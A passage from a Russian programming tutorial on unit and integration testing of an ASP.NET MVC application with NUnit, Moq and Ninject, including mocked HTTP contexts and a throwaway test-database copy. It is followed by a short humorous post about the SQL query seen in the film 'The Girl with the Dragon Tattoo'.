При каждом запуске билда мы копируем Web.config (и, если надо, то перезаписываем) к себе в Sandbox.
Создадим TestConfig.cs и в конструктор будем передавать наш файл (/Tools/TestConfig.cs):
```
public class TestConfig : IConfig
{
private Configuration configuration;
public TestConfig(string configPath)
{
var configFileMap = new ExeConfigurationFileMap();
configFileMap.ExeConfigFilename = configPath;
configuration = ConfigurationManager.OpenMappedExeConfiguration(configFileMap, ConfigurationUserLevel.None);
}
public string ConnectionStrings(string connectionString)
{
return configuration.ConnectionStrings.ConnectionStrings[connectionString].ConnectionString;
}
public string Lang
{
get
{
return configuration.AppSettings.Settings["Lang"].Value;
}
}
public bool EnableMail
{
get
{
return bool.Parse(configuration.AppSettings.Settings["EnableMail"].Value);
}
}
public IQueryable IconSizes
{
get
{
IconSizesConfigSection configInfo = (IconSizesConfigSection)configuration.GetSection("iconConfig");
if (configInfo != null)
{
return configInfo.IconSizes.OfType().AsQueryable();
}
return null;
}
}
public IQueryable MimeTypes
{
get
{
MimeTypesConfigSection configInfo = (MimeTypesConfigSection)configuration.GetSection("mimeConfig");
return configInfo.MimeTypes.OfType().AsQueryable();
}
}
public IQueryable MailTemplates
{
get {
MailTemplateConfigSection configInfo = (MailTemplateConfigSection)configuration.GetSection("mailTemplatesConfig");
return configInfo.MailTemplates.OfType().AsQueryable();
}
}
public MailSetting MailSetting
{
get
{
return (MailSetting)configuration.GetSection("mailConfig");
}
}
public SmsSetting SmsSetting
{
get
{
return (SmsSetting)configuration.GetSection("smsConfig");
}
}
}
```
И инициализируем в UnitTestSetupFixture.cs (/Setup/UnitTestSetupFixture.cs):
```
protected virtual void InitConfig(StandardKernel kernel)
{
var fullPath = new FileInfo(Sandbox + "/Web.config").FullName;
kernel.Bind().ToMethod(c => new TestConfig(fullPath));
}
```
Создадим простой тест на проверку данных в конфиге:
```
[TestFixture]
public class MailTemplateTest
{
[Test]
public void MailTemplates_ExistRegisterTemplate_Exist()
{
var config = DependencyResolver.Current.GetService();
var template = config.MailTemplates.FirstOrDefault(p => p.Name.StartsWith("Register"));
Assert.IsNotNull(template);
}
}
```
Запускаем, проверяем, вуаля! Переходим к реализации IAuthentication.
##### Authentication
В веб-приложении, когда мы уже исполняем код в контроллере, мы уже имеем какой-то заданный контекст, окружение, сформированное http-запросом. Т.е. это и параметры, и кукисы, и данные о версии браузера, и каково разрешение экрана, и какая операционная система. В общем, это всё – HttpContext. Следует понимать, что мы при авторизации помещаем в кукисы какие-то данные, а потом достаем их и всё. Собственно, для этого мы создадим специальный интерфейс IAuthCookieProvider, который будет типа записывать кукисы
IAuthCookieProvider.cs (LessonProject/Global/Auth/IAuthCookieProvider):
```
public interface IAuthCookieProvider
{
HttpCookie GetCookie(string cookieName);
void SetCookie(HttpCookie cookie);
}
```
И реализуем его для HttpAuthCookieProvider.cs (/Global/Auth/HttpAuthCookieProvider.cs):
```
public class HttpContextCookieProvider : IAuthCookieProvider
{
public HttpContextCookieProvider(HttpContext HttpContext)
{
this.HttpContext = HttpContext;
}
protected HttpContext HttpContext { get; set; }
public HttpCookie GetCookie(string cookieName)
{
return HttpContext.Request.Cookies.Get(cookieName);
}
public void SetCookie(HttpCookie cookie)
{
HttpContext.Response.Cookies.Set(cookie);
}
}
```
И теперь используем эту реализацию для работы с Cookies в CustomAuthentication (/Global/Auth/CustomAuthentication.cs):
```
public IAuthCookieProvider AuthCookieProvider { get; set; }
```
и вместо HttpContext.Request.Cookies.Get – используем GetCookie() и
HttpContext.Response.Cookies.Set – соответственно SetCookie().
Изменяем и в IAuthencation.cs (/Global/Auth/IAuthencation.cs):
```
public interface IAuthentication
{
///
/// Конекст (тут мы получаем доступ к запросу и кукисам)
///
IAuthCookieProvider AuthCookieProvider { get; set; }
```
И в AuthHttpModule.cs (/Global/Auth/AuthHttpModule.cs):
```
var auth = DependencyResolver.Current.GetService();
auth.AuthCookieProvider = new HttpContextCookieProvider(context);
```
##### MockHttpContext
Теперь создадим Mock-объекты для HttpContext в LessonProject.UnitTest:
```
MockHttpContext.cs в (/Mock/HttpContext.cs):
public class MockHttpContext : Mock
{
[Inject]
public HttpCookieCollection Cookies { get; set; }
public MockHttpCachePolicy Cache { get; set; }
public MockHttpBrowserCapabilities Browser { get; set; }
public MockHttpSessionState SessionState { get; set; }
public MockHttpServerUtility ServerUtility { get; set; }
public MockHttpResponse Response { get; set; }
public MockHttpRequest Request { get; set; }
public MockHttpContext(MockBehavior mockBehavior = MockBehavior.Strict)
: this(null, mockBehavior)
{
}
public MockHttpContext(IAuthentication auth, MockBehavior mockBehavior = MockBehavior.Strict)
: base(mockBehavior)
{
//request
Browser = new MockHttpBrowserCapabilities(mockBehavior);
Browser.Setup(b => b.IsMobileDevice).Returns(false);
Request = new MockHttpRequest(mockBehavior);
Request.Setup(r => r.Cookies).Returns(Cookies);
Request.Setup(r => r.ValidateInput());
Request.Setup(r => r.UserAgent).Returns("Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11");
Request.Setup(r => r.Browser).Returns(Browser.Object);
this.Setup(p => p.Request).Returns(Request.Object);
//response
Cache = new MockHttpCachePolicy(MockBehavior.Loose);
Response = new MockHttpResponse(mockBehavior);
Response.Setup(r => r.Cookies).Returns(Cookies);
Response.Setup(r => r.Cache).Returns(Cache.Object);
this.Setup(p => p.Response).Returns(Response.Object);
//user
if (auth != null)
{
this.Setup(p => p.User).Returns(() => auth.CurrentUser);
}
else
{
this.Setup(p => p.User).Returns(new UserProvider("", null));
}
//Session State
SessionState = new MockHttpSessionState();
this.Setup(p => p.Session).Returns(SessionState.Object);
//Server Utility
ServerUtility = new MockHttpServerUtility(mockBehavior);
this.Setup(p => p.Server).Returns(ServerUtility.Object);
//Items
var items = new ListDictionary();
this.Setup(p => p.Items).Returns(items);
}
}
```
Кроме этого создаем еще такие классы:
+ MockHttpCachePolicy
+ MockHttpBrowserCapabilities
+ MockHttpSessionState
+ MockHttpServerUtility
+ MockHttpResponse
+ MockHttpRequest
Все эти mock-объекты весьма тривиальны, кроме MockSessionState, где и хранится session-storage (/Mock/Http/MockHttpSessionState.cs):
```
public class MockHttpSessionState : Mock
{
Dictionary sessionStorage;
public MockHttpSessionState(MockBehavior mockBehavior = MockBehavior.Strict)
: base(mockBehavior)
{
sessionStorage = new Dictionary();
this.Setup(p => p[It.IsAny()]).Returns((string index) => sessionStorage[index]);
this.Setup(p => p.Add(It.IsAny(), It.IsAny())).Callback((name, obj) =>
{
if (!sessionStorage.ContainsKey(name))
{
sessionStorage.Add(name, obj);
}
else
{
sessionStorage[name] = obj;
}
});
}
}
```
Создаем FakeAuthCookieProvider.cs (/Fake/FakeAuthCookieProvider.cs):
```
public class FakeAuthCookieProvider : IAuthCookieProvider
{
[Inject]
public HttpCookieCollection Cookies { get; set; }
public HttpCookie GetCookie(string cookieName)
{
return Cookies.Get(cookieName);
}
public void SetCookie(HttpCookie cookie)
{
if (Cookies.Get(cookie.Name) != null)
{
Cookies.Remove(cookie.Name);
}
Cookies.Add(cookie);
}
}
```
Фух! Инициализируем это в UnitTestSetupFixture.cs (/Setup/UnitTestSetupFixture.cs):
```
protected virtual void InitAuth(StandardKernel kernel)
{
kernel.Bind().To();
kernel.Bind().To().InSingletonScope();
kernel.Bind().ToMethod(c =>
{
var auth = new CustomAuthentication();
auth.AuthCookieProvider = kernel.Get();
return auth;
});
}
```
Заметим, что Bind происходит на SingletonScope(), т.е. единожды авторизовавшись в каком-то тесте, мы в последующих тестах будем использовать эту же авторизацию.
Компилим и пытаемся с этим всем взлететь. Сейчас начнется магия…
##### Проверка валидации
Если мы просто вызовем что-то типа:
```
var registerUser = new UserView()
{
Email = "user@sample.com",
Password = "123456",
ConfirmPassword = "1234567",
AvatarPath = "/file/no-image.jpg",
BirthdateDay = 1,
BirthdateMonth = 12,
BirthdateYear = 1987,
Captcha = "1234"
};
var result = controller.Register(registerUser);
```
То, во-первых, никакая неявная валидация не выполнится, а во-вторых, у нас там есть session и мы ее не проинициализировали, она null и всё – ошибка. Так что проверку валидации (та, что в атрибутах) будем устраивать через отдельный класс. Назовем его Валидатор Валидаторович (/Tools/Validator.cs):
```
public class ValidatorException : Exception
{
public ValidationAttribute Attribute { get; private set; }
public ValidatorException(ValidationException ex, ValidationAttribute attribute)
: base(attribute.GetType().Name, ex)
{
Attribute = attribute;
}
}
public class Validator
{
public static void ValidateObject(T obj)
{
var type = typeof(T);
var meta = type.GetCustomAttributes(false).OfType().FirstOrDefault();
if (meta != null)
{
type = meta.MetadataClassType;
}
var typeAttributes = type.GetCustomAttributes(typeof(ValidationAttribute), true).OfType();
var validationContext = new ValidationContext(obj);
foreach (var attribute in typeAttributes)
{
try
{
attribute.Validate(obj, validationContext);
}
catch (ValidationException ex)
{
throw new ValidatorException(ex, attribute);
}
}
var propertyInfo = type.GetProperties();
foreach (var info in propertyInfo)
{
var attributes = info.GetCustomAttributes(typeof(ValidationAttribute), true).OfType();
foreach (var attribute in attributes)
{
var objPropInfo = obj.GetType().GetProperty(info.Name);
try
{
attribute.Validate(objPropInfo.GetValue(obj, null), validationContext);
}
catch (ValidationException ex)
{
throw new ValidatorException(ex, attribute);
}
}
}
}
}
```
Итак, что тут у нас происходит. Вначале мы получаем все атрибуты класса T, которые относятся к типу ValidationAttribute:
```
var typeAttributes = type.GetCustomAttributes(typeof(ValidationAttribute), true).OfType();
var validationContext = new ValidationContext(obj);
foreach (var attribute in typeAttributes)
{
try
{
attribute.Validate(obj, validationContext);
}
catch (ValidationException ex)
{
throw new ValidatorException(ex, attribute);
}
}
```
Потом аналогично для каждого свойства:
```
var propertyInfo = type.GetProperties();
foreach (var info in propertyInfo)
{
var attributes = info.GetCustomAttributes(typeof(ValidationAttribute), true).OfType();
foreach (var attribute in attributes)
{
var objPropInfo = obj.GetType().GetProperty(info.Name);
try
{
attribute.Validate(objPropInfo.GetValue(obj, null), validationContext);
}
catch (ValidationException ex)
{
throw new ValidatorException(ex, attribute);
}
}
}
```
Если валидация не проходит, то происходит исключение, и мы оборачиваем его в ValidatorException, передавая еще и атрибут, по которому произошло исключение.
Теперь по поводу капчи и Session. Мы должны контроллеру передать контекст (MockHttpContext):
```
var controller = DependencyResolver.Current.GetService();
var httpContext = new MockHttpContext().Object;
ControllerContext context = new ControllerContext(new RequestContext(httpContext, new RouteData()), controller);
controller.ControllerContext = context;
controller.Session.Add(CaptchaImage.CaptchaValueKey, "1111");
```
И теперь всё вместе:
```
[Test]
public void Index_RegisterUserWithDifferentPassword_ExceptionCompare()
{
//init
var controller = DependencyResolver.Current.GetService();
var httpContext = new MockHttpContext().Object;
ControllerContext context = new ControllerContext(new RequestContext(httpContext, new RouteData()), controller);
controller.ControllerContext = context;
//act
var registerUserView = new UserView()
{
Email = "user@sample.com",
Password = "123456",
ConfirmPassword = "1234567",
AvatarPath = "/file/no-image.jpg",
BirthdateDay = 1,
BirthdateMonth = 12,
BirthdateYear = 1987,
Captcha = "1111"
};
try
{
Validator.ValidateObject(registerUserView);
}
catch (Exception ex)
{
Assert.IsInstanceOf(ex);
Assert.IsInstanceOf(((ValidatorException)ex).Attribute);
}
}
```
Запускаем, и всё получилось. Но капча проверяется непосредственно в методе контроллера. Специально для капчи:
```
[Test]
public void Index_RegisterUserWithWrongCaptcha_ModelStateWithError()
{
//init
var controller = DependencyResolver.Current.GetService();
var httpContext = new MockHttpContext().Object;
ControllerContext context = new ControllerContext(new RequestContext(httpContext, new RouteData()), controller);
controller.ControllerContext = context;
controller.Session.Add(CaptchaImage.CaptchaValueKey, "2222");
//act
var registerUserView = new UserView()
{
Email = "user@sample.com",
Password = "123456",
ConfirmPassword = "1234567",
AvatarPath = "/file/no-image.jpg",
BirthdateDay = 1,
BirthdateMonth = 12,
BirthdateYear = 1987,
Captcha = "1111"
};
var result = controller.Register(registerUserView);
Assert.AreEqual("Текст с картинки введен неверно", controller.ModelState["Captcha"].Errors[0].ErrorMessage);
}
```
Круто!
##### Проверка авторизации
Например, мы должны проверить, что, если я захожу не под админом, то в авторизованную часть (в контроллер, помеченный атрибутом [Authorize(Roles=“admin”)]) – обычному польвателю не дадут войти. Есть отличный способ это проверить. Обратим внимание на класс ControllerActionInvoker и отнаследуем его для вызовов (/Fake/FakeControllerActionInvoker.cs + FakeValueProvider.cs):
```
public class FakeValueProvider
{
protected Dictionary Values { get; set; }
public FakeValueProvider()
{
Values = new Dictionary();
}
public object this[string index]
{
get
{
if (Values.ContainsKey(index))
{
return Values[index];
}
return null;
}
set
{
if (Values.ContainsKey(index))
{
Values[index] = value;
}
else
{
Values.Add(index, value);
}
}
}
}
public class FakeControllerActionInvoker : ControllerActionInvoker where TExpectedResult : ActionResult
{
protected FakeValueProvider FakeValueProvider { get; set; }
public FakeControllerActionInvoker()
{
FakeValueProvider = new FakeValueProvider();
}
public FakeControllerActionInvoker(FakeValueProvider fakeValueProvider)
{
FakeValueProvider = fakeValueProvider;
}
protected override ActionExecutedContext InvokeActionMethodWithFilters(ControllerContext controllerContext, IList filters, ActionDescriptor actionDescriptor, IDictionary parameters)
{
return base.InvokeActionMethodWithFilters(controllerContext, filters, actionDescriptor, parameters);
}
protected override object GetParameterValue(ControllerContext controllerContext, ParameterDescriptor parameterDescriptor)
{
var obj = FakeValueProvider[parameterDescriptor.ParameterName];
if (obj != null)
{
return obj;
}
return parameterDescriptor.DefaultValue;
}
protected override void InvokeActionResult(ControllerContext controllerContext, ActionResult actionResult)
{
Assert.IsInstanceOf(actionResult);
}
}
```
По сути это «вызывальщик» action-методов контроллеров, где Generic класс – это ожидаемый класс результата. В случае неавторизации это будет HttpUnauthorizedResult. Сделаем тест (/Test/Admin/HomeControllerTest.cs):
```
[TestFixture]
public class AdminHomeControllerTest
{
[Test]
public void Index_NotAuthorizeGetDefaultView_RedirectToLoginPage()
{
var auth = DependencyResolver.Current.GetService();
auth.Login("chernikov@gmail.com", "password2", false);
var httpContext = new MockHttpContext(auth).Object;
var controller = DependencyResolver.Current.GetService();
var route = new RouteData();
route.Values.Add("controller", "Home");
route.Values.Add("action", "Index");
route.Values.Add("area", "Admin");
ControllerContext context = new ControllerContext(new RequestContext(httpContext, route), controller);
controller.ControllerContext = context;
var controllerActionInvoker = new FakeControllerActionInvoker();
var result = controllerActionInvoker.InvokeAction(controller.ControllerContext, "Index");
}
}
```
Запускаем тест, он проходит. Сделаем, чтобы авторизация была под пользователем admin и будем ожидать получение ViewResult:
```
[Test]
public void Index_AdminAuthorize_GetViewResult()
{
var auth = DependencyResolver.Current.GetService();
auth.Login("admin", "password", false);
var httpContext = new MockHttpContext(auth).Object;
var controller = DependencyResolver.Current.GetService();
var route = new RouteData();
route.Values.Add("controller", "Home");
route.Values.Add("action", "Index");
route.Values.Add("area", "Admin");
ControllerContext context = new ControllerContext(new RequestContext(httpContext, route), controller);
controller.ControllerContext = context;
var controllerActionInvoker = new FakeControllerActionInvoker();
var result = controllerActionInvoker.InvokeAction(controller.ControllerContext, "Index");
}
```
Так же прошли. Молодцом.
На этом давайте остановимся и подумаем, чего мы достигли. Мы можем оттестировать любой контроллер, проверить правильность любой валидации, проверку прав пользователя. Но это касается только контроллера. А как же работа с моделью? Да, мы можем проверить, что вызывается метод репозитория, но на этом всё. Да, мы можем написать Mock-методы для добавления, изменения, удаления, но как это поможет решить ту проблему, о которой я писал вначале главы? Как мы заметим, что что-то не так при упущении поля с тегом? В хрестоматийном примере NerdDinner тесты не покрывают эту область.
Есть IRepository, есть SqlRepository, есть MockRepository. И всё что находится в SqlRepository – это не покрытая тестами область. А там может быть реализовано очень многое. Что же делать? К чему этот TDD?
##### Интегрированное тестирование
Идея будет совершенно безумной, мы будем использовать и проверять уже существующий код в SqlRepository. Для этого мы через Web.config находим базу (она должна располагаться локально), дублировать ее, подключаться к дубликату БД, проходить тесты и в конце, удалять дубликат БД.
Создаем проект LessonProject.IntegrationTest в папке Test.
Добавляем Ninject, Moq и NUnit:
```
Install-Package Ninject
Install-Package Moq
Install-Package NUnit
```
Так же создаем папку Sandbox и в Setup наследуем UnitTestSetupFixture (/Setup/IntegrationTestSetupFixture.cs) и функцию по копированию БД:
```
[SetUpFixture]
public class IntegrationTestSetupFixture : UnitTestSetupFixture
{
public class FileListRestore
{
public string LogicalName { get; set; }
public string Type { get; set; }
}
protected static string NameDb = "LessonProject";
protected static string TestDbName;
private void CopyDb(StandardKernel kernel, out FileInfo sandboxFile, out string connectionString)
{
var config = kernel.Get();
var db = new DataContext(config.ConnectionStrings("ConnectionString"));
TestDbName = string.Format("{0}\_{1}", NameDb, DateTime.Now.ToString("yyyyMMdd\_HHmmss"));
Console.WriteLine("Create DB = " + TestDbName);
sandboxFile = new FileInfo(string.Format("{0}\\{1}.bak", Sandbox, TestDbName));
var sandboxDir = new DirectoryInfo(Sandbox);
//backupFile
var textBackUp = string.Format(@"-- Backup the database
BACKUP DATABASE [{0}]
TO DISK = '{1}'
WITH COPY\_ONLY",
NameDb, sandboxFile.FullName);
db.ExecuteCommand(textBackUp);
var restoreFileList = string.Format("RESTORE FILELISTONLY FROM DISK = '{0}'", sandboxFile.FullName);
var fileListRestores = db.ExecuteQuery(restoreFileList).ToList();
var logicalDbName = fileListRestores.FirstOrDefault(p => p.Type == "D");
var logicalLogDbName = fileListRestores.FirstOrDefault(p => p.Type == "L");
var restoreDb = string.Format("RESTORE DATABASE [{0}] FROM DISK = '{1}' WITH FILE = 1, MOVE N'{2}' TO N'{4}\\{0}.mdf', MOVE N'{3}' TO N'{4}\\{0}.ldf', NOUNLOAD, STATS = 10", TestDbName, sandboxFile.FullName, logicalDbName.LogicalName, logicalLogDbName.LogicalName, sandboxDir.FullName);
db.ExecuteCommand(restoreDb);
connectionString = config.ConnectionStrings("ConnectionString").Replace(NameDb, TestDbName);
}
}
```
По порядку:
В строках
```
var config = kernel.Get();
var db = new DataContext(config.ConnectionStrings("ConnectionString"));
```
— получаем подключение к БД.
```
TestDbName = string.Format("{0}_{1}", NameDb, DateTime.Now.ToString("yyyyMMdd_HHmmss"));
```
Создаем наименование тестовой БД.
```
//backupFile
var textBackUp = string.Format(@"-- Backup the database
BACKUP DATABASE [{0}]
TO DISK = '{1}'
WITH COPY_ONLY",
NameDb, sandboxFile.FullName);
db.ExecuteCommand(textBackUp);
```
— выполняем бекап БД в папку Sandbox.
```
var restoreFileList = string.Format("RESTORE FILELISTONLY FROM DISK = '{0}'", sandboxFile.FullName);
var fileListRestores = db.ExecuteQuery(restoreFileList).ToList();
var logicalDbName = fileListRestores.FirstOrDefault(p => p.Type == "D");
var logicalLogDbName = fileListRestores.FirstOrDefault(p => p.Type == "L");
```
— получаем логическое имя БД и файла логов, используя приведение к классу FIleListRestore.
```
var restoreDb = string.Format("RESTORE DATABASE [{0}] FROM DISK = '{1}' WITH FILE = 1, MOVE N'{2}' TO N'{4}\\{0}.mdf', MOVE N'{3}' TO N'{4}\\{0}.ldf', NOUNLOAD, STATS = 10", TestDbName, sandboxFile.FullName, logicalDbName.LogicalName, logicalLogDbName.LogicalName, sandboxDir.FullName);
db.ExecuteCommand(restoreDb);
```
— восстанавливаем БД под другим именем (TestDbName)
```
connectionString = config.ConnectionStrings("ConnectionString").Replace(NameDb, TestDbName);
```
— меняем connectionString.
И теперь можем спокойно проинициализировать IRepository к SqlRepository:
```
protected override void InitRepository(StandardKernel kernel)
{
FileInfo sandboxFile;
string connectionString;
CopyDb(kernel, out sandboxFile, out connectionString);
kernel.Bind().ToMethod(c => new webTemplateDbDataContext(connectionString));
kernel.Bind().To().InTransientScope();
sandboxFile.Delete();
}
```
Итак, у нас есть sandboxFile – это файл бекапа, и connectionString – это новая строка подключения (к дубликату БД). Мы копируем БД, связываем именно с SqlRepository, но базу подсовываем не основную. И с ней можно делать всё что угодно. Файл бекапа базы в конце удаляем.
И дописываем уже удаление тестовой БД, после прогона всех тестов:
```
private void RemoveDb()
{
var config = DependencyResolver.Current.GetService();
var db = new DataContext(config.ConnectionStrings("ConnectionString"));
var textCloseConnectionTestDb = string.Format(@"ALTER DATABASE [{0}] SET SINGLE\_USER WITH ROLLBACK IMMEDIATE", TestDbName);
db.ExecuteCommand(textCloseConnectionTestDb);
var textDropTestDb = string.Format(@"DROP DATABASE [{0}]", TestDbName);
db.ExecuteCommand(textDropTestDb);
}
```
Используя TestDbName, закрываем подключение (а то оно активное), и удаляем базу данных.
Не забываем сделать копию Web.config:
```
xcopy $(SolutionDir)LessonProject\Web.config $(ProjectDir)Sandbox\ /y
```
Но кстати, иногда БД нет необходимости удалять. Например, мы хотим заполнить базу кучей данных автоматически, чтобы проверить поиск или пейджинг. Это мы рассмотрим ниже. А сейчас тест – реальное создание в БД записи:
```
[TestFixture]
public class DefaultUserControllerTest
{
[Test]
public void CreateUser_CreateNormalUser_CountPlusOne()
{
var repository = DependencyResolver.Current.GetService();
var controller = DependencyResolver.Current.GetService();
var countBefore = repository.Users.Count();
var httpContext = new MockHttpContext().Object;
var route = new RouteData();
route.Values.Add("controller", "User");
route.Values.Add("action", "Register");
route.Values.Add("area", "Default");
ControllerContext context = new ControllerContext(new RequestContext(httpContext, route), controller);
controller.ControllerContext = context;
controller.Session.Add(CaptchaImage.CaptchaValueKey, "1111");
var registerUserView = new UserView()
{
ID = 0,
Email = "rollinx@gmail.com",
Password = "123456",
ConfirmPassword = "123456",
Captcha = "1111",
BirthdateDay = 13,
BirthdateMonth = 9,
BirthdateYear = 1970
};
Validator.ValidateObject(registerUserView);
controller.Register(registerUserView);
var countAfter = repository.Users.Count();
Assert.AreEqual(countBefore + 1, countAfter);
}
}
```
Проверьте, что нет в БД пользователя с таким email.
Запускаем, проверяем. Работает. Кайф! Тут понятно, какие мощности открываются. И если юнит-тестирование – это как обработка минимальных кусочков кода, а тут – это целый сценарий. Но, кстати, замечу, что MailNotify всё же высылает письма на почту. Так что перепишем его как сервис:
/LessonProject/Tools/Mail/IMailSender.cs:
```
public interface IMailSender
{
void SendMail(string email, string subject, string body, MailAddress mailAddress = null);
}
```
/LessonProject/Tools/Mail/MailSender.cs:
```
public class MailSender : IMailSender
{
[Inject]
public IConfig Config { get; set; }
private static NLog.Logger logger = NLog.LogManager.GetCurrentClassLogger();
public void SendMail(string email, string subject, string body, MailAddress mailAddress = null)
{
try
{
if (Config.EnableMail)
{
if (mailAddress == null)
{
mailAddress = new MailAddress(Config.MailSetting.SmtpReply, Config.MailSetting.SmtpUser);
}
MailMessage message = new MailMessage(
mailAddress,
new MailAddress(email))
{
Subject = subject,
BodyEncoding = Encoding.UTF8,
Body = body,
IsBodyHtml = true,
SubjectEncoding = Encoding.UTF8
};
SmtpClient client = new SmtpClient
{
Host = Config.MailSetting.SmtpServer,
Port = Config.MailSetting.SmtpPort,
UseDefaultCredentials = false,
EnableSsl = Config.MailSetting.EnableSsl,
Credentials =
new NetworkCredential(Config.MailSetting.SmtpUserName,
Config.MailSetting.SmtpPassword),
DeliveryMethod = SmtpDeliveryMethod.Network
};
client.Send(message);
}
else
{
logger.Debug("Email : {0} {1} \t Subject: {2} {3} Body: {4}", email, Environment.NewLine, subject, Environment.NewLine, body);
}
}
catch (Exception ex)
{
logger.Error("Mail send exception", ex.Message);
}
}
}
```
/LessonProject/Tools/Mail/NotifyMail.cs:
```
public static class NotifyMail
{
private static NLog.Logger logger = NLog.LogManager.GetCurrentClassLogger();
private static IConfig _config;
public static IConfig Config
{
get
{
if (_config == null)
{
_config = (DependencyResolver.Current).GetService();
}
return \_config;
}
}
private static IMailSender \_mailSender;
public static IMailSender MailSender
{
get
{
if (\_mailSender == null)
{
\_mailSender = (DependencyResolver.Current).GetService();
}
return \_mailSender;
}
}
public static void SendNotify(string templateName, string email,
Func subject,
Func body)
{
var template = Config.MailTemplates.FirstOrDefault(p => string.Compare(p.Name, templateName, true) == 0);
if (template == null)
{
logger.Error("Can't find template (" + templateName + ")");
}
else
{
MailSender.SendMail(email,
subject.Invoke(template.Subject),
body.Invoke(template.Template));
}
}
}
```
/LessonProject/App\_Start/NinjectWebCommon.cs:
```
private static void RegisterServices(IKernel kernel)
{…
kernel.Bind().To();
}
```
Ну и в LessonProject.UnitTest добавим MockMailSender (/Mock/Mail/MockMailSender.cs):
```
public class MockMailSender : Mock
{
public MockMailSender(MockBehavior mockBehavior = MockBehavior.Strict)
: base(mockBehavior)
{
this.Setup(p => p.SendMail(It.IsAny(), It.IsAny(), It.IsAny(), It.IsAny()))
.Callback((string email, string subject, string body, MailAddress address) =>
Console.WriteLine(String.Format("Send mock email to: {0}, subject {1}", email, subject)));
}
}
```
В UnitTestSetupFixture.cs (/LessonProject.UnitTest/Setup/UnitTestSetupFixture.cs):
```
protected virtual IKernel InitKernel()
{
…
kernel.Bind().To();
kernel.Bind().ToMethod(p => kernel.Get().Object);
return kernel;
}
```
Запускаем, тесты пройдены, но на почту уже ничего не отправляется.
```
===============
=====START=====
===============
Create DB = LessonProject_20130314_104218
Send mock email to: chernikov@googlemail.com, subject Регистрация на
===============
=====BYE!======
===============
```
##### Генерация данных
Кроме всего прочего, мы можем и не удалять базу данных после пробегов теста. (переписать)Я добавлю GenerateData проект в папку Test, но подробно рассматривать мы его не будем, просто чтобы был. Он достаточно тривиальный. Суть его – есть некоторые наименования, и мы используем их для генерации. Например, для генерации фамилии используются фамилии американских президентов (зная их, мы сразу отличаем их от других фамилий, которые скорее будут реальными).
Это также в будущем позволяет избежать «эффекта рыбы», когда в шаблоне тестовые данные были одной определенной, но не максимальной длины и шаблон выглядел прилично, но при использовании реальных данных всё поехало.
Создадим 100 пользователей и потом посмотрим на них:
```
[Test]
public void CreateUser_Create100Users_NoAssert()
{
var repository = DependencyResolver.Current.GetService();
var controller = DependencyResolver.Current.GetService();
var httpContext = new MockHttpContext().Object;
var route = new RouteData();
route.Values.Add("controller", "User");
route.Values.Add("action", "Register");
route.Values.Add("area", "Default");
ControllerContext context = new ControllerContext(new RequestContext(httpContext, route), controller);
controller.ControllerContext = context;
controller.Session.Add(CaptchaImage.CaptchaValueKey, "1111");
var rand = new Random((int)DateTime.Now.Ticks);
for (int i = 0; i < 100; i++)
{
var registerUserView = new UserView()
{
ID = 0,
Email = Email.GetRandom(Name.GetRandom(), Surname.GetRandom()),
Password = "123456",
ConfirmPassword = "123456",
Captcha = "1111",
BirthdateDay = rand.Next(28) + 1,
BirthdateMonth = rand.Next(12) + 1,
BirthdateYear = 1970 + rand.Next(20)
};
controller.Register(registerUserView);
}
}
```
В IntegrationTestSetupFixture.cs отключим удаление БД после работы (/Setup/IntegrationTestSetupFixture.cs):
```
protected static bool removeDbAfter = false;
```
В Web.config установим соединение с тестовой БД:
```
```
И запустим сайт:
##### Итог
В этом уроке мы рассмотрели:
+ Принципы TDD и когда они не срабатывают
+ NUnit и как с ним работать
+ Mock и как с ним работать
+ Unit-тесты и как этот инструмент позволяет улучшить нам качество кода
+ Integration-тесты, и как мы можем их использовать
Тестирование – это очень большая область, это даже отдельная профессия и склад ума (не совсем программистский). И качество кода будет зависеть не только от применения технологий, хотя, бесспорно, соблюдение логических принципов TDD и внутренних процессов при разработке программ позволяет избежать множества ошибок. Написание тестов – не панацея от всех бед, это инструмент, и важно правильно им пользоваться…
Мы обошли вниманием тестирование клиентской части, и честно говоря, я не знаю, как это должно происходить. В JQuery только в октябре 2011го начали развивать проект qUnit, но информации по нему почти нет.
Все исходники находятся по адресу <https://bitbucket.org/chernikov/lessons> | https://habr.com/ru/post/176137/ | null | ru | null |
# Девушка с татуировкой ANSI
Специалисты по СУБД с сайта Oracle WTF [заинтересовались](http://oracle-wtf.blogspot.co.uk/2012/05/girl-with-ansi-tattoo.html), что же такое печатает в терминале юный хакер в фильме «Девушка с татуировкой дракона». По сюжету, это были запросы к базе данных полицейского отделения, с помощью которых она раскрыла убийства 40-летней давности.
Склеив несколько кадров, можно частично рассмотреть SQL-запрос.
Как могут заметить кинозрители, это не Oracle SQL, поскольку используется некорректный оператор `AS`. На самом деле даже в заголовке терминала можно разглядеть mysql.
Вот какой ответ приходит девушке с полицейского сервера.
Ответ ещё интереснее, чем запрос.
```
SELECT DISTINCT v.fname, v.lname, i.year, i.location, i.report_file
FROM Incident AS i
LEFT JOIN V(ictim?)... -- presumably v.incident_id = i.id
LEFT JOIN Keyword AS k ON k.incident_id = i.id
WHERE i.year BETWEEN 1947 AND 1966
AND i.type = 'HOMICIDE'
AND v.sex = 'F'
AND i.status = 'UNSOLVED'
AND ...
OR v.fname IN ('Mari', 'Magda')
OR SUBSTR ...
AND (k.keyword IN ('rape', 'decapitation', 'dismemberment', 'fire', 'altar', 'priest', 'prostitute')
...
AND SUBSTR(v.fname, 1, 1) = 'R' AND SUBSTR(v.lname, 1, 1) = 'L');
+--------+---------+------+-----------+----------------------------------+
| fname | lname | year | location | report_file |
+--------+---------+------+-----------+----------------------------------+
| Anna | Wedin | 1956 | Mark | FULL POLICE REPORT NOT DIGITIZED |
| Linda | Janson | 1955 | Mariestad | FULL POLICE REPORT NOT DIGITIZED |
| Simone | Grau | 1958 | Goteborg | FULL POLICE REPORT NOT DIGITIZED |
| Lea | Persson | 1962 | Uddevalla | FULL POLICE REPORT NOT DIGITIZED |
| Kajsa | Severin | 1962 | Dals-Ed | FULL POLICE REPORT NOT DIGITIZED |
+--------+---------+------+-----------+----------------------------------+
```
«Шокированные кинозрители будут озадачены, что один из лучших в мире хакеров ничего не знает об операторе проверки соответствия шаблона LIKE, и почему, чёрт возьми, ни одна из жертв не имеет инициалов R.L.», — [пишут](http://oracle-wtf.blogspot.co.uk/2012/05/girl-with-ansi-tattoo.html) юмористы с Oracle WTF. | https://habr.com/ru/post/145425/ | null | ru | null |
# Portable Areas как вариант модульности в MVC
